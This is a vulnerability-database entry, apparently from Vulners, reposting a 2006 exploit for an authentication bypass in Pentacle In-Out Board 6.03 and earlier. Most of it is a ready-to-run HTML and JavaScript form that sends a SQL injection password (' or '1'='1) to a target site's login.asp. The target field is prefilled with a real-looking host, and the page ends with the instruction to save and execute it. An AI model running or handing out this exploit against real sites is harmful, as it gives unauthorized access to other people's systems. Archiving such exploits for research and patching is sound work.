Pentacle In-Out Board <= 6.03 (login.asp) Remote Auth Bypass

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Pentacle In-Out Board <= 6.03 (login.asp) Remote Auth Bypass Vulnerabilit


                                                &#60;html&#62;
&#60;title&#62;Pentacle In-Out Board &#60;= 6.03 (login.asp) Authencation ByPass Vulnerability&#60;/title&#62;
&#60;script language=javascript&#62;
function ptxpl(){
if(document.xpl.victim.value==&#34;&#34;) {
  alert(&#34;Please enter site!&#34;);
  return false;
  }
if(confirm(&#34;Are you sure?&#34;)) {
  	xpl.action=&#34;http://&#34;+document.xpl.victim.value+&#34;/login.asp&#34;;
                xpl.username.value=document.xpl.username.value;
  	xpl.userpassword.value=document.xpl.userpassword.value;
                xpl.submit();
   }
}
&#60;/script&#62;
&#60;strong&#62;
&#60;font face=&#34;Tahoma&#34; size=&#34;2&#34;&#62;
Fill in the blank !:D&#60;br&#62;
Just enter host/path/ not http://host/path/!&#60;br&#62;
If Pentacle installed on / just enter host&#60;br&#62;
Example: host.com&#60;br&#62;
Example2: host.com/ptdir/&#60;br&#62;
&#60;form name=&#34;xpl&#34; method=&#34;POST&#34; action=&#34;http://pentacle.g2soft.net/login.asp&#34; onsubmit=ptxpl();&#62;
Target -&#62; &#60;input type=&#34;text&#34; name=&#34;victim&#34; value=&#34;pentacle.g2soft.net&#34; size=&#34;50&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;username&#34; value=&#34;any&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;userpassword&#34; value=&#34;&#39; or &#39;1&#39;=&#39;1&#34;&#62;
&#60;input type=&#34;submit&#34; value=&#34;Send&#34;&#62;
&#60;/table&#62;&#60;/form&#62;
&#60;/html&#62;

Save this code as .htm and then execute.

# nukedx.com [2006-02-25]

# milw0rm.com [2006-02-25]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1